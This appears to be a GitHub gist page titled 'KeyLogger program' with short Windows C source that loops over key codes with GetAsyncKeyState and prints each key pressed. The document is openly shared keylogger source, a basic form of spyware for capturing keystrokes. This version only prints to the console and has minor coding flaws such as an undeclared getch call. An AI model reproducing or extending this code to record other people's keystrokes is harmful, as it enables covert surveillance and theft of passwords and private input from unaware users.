Skip to content

Instantly share code, notes, and snippets.

@hrshadhin
Created April 23, 2013 16:07
Show Gist options
  • Save hrshadhin/5444946 to your computer and use it in GitHub Desktop.
Save hrshadhin/5444946 to your computer and use it in GitHub Desktop.
KeyLogger program
#include <windows.h>
#include <stdio.h>
main()
{
int character;
while(1){
for(character=8;character<=222;character++)
if(GetAsyncKeyState(character)==-32767)
printf("%d : %c\n",character,character);
};
getch(0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment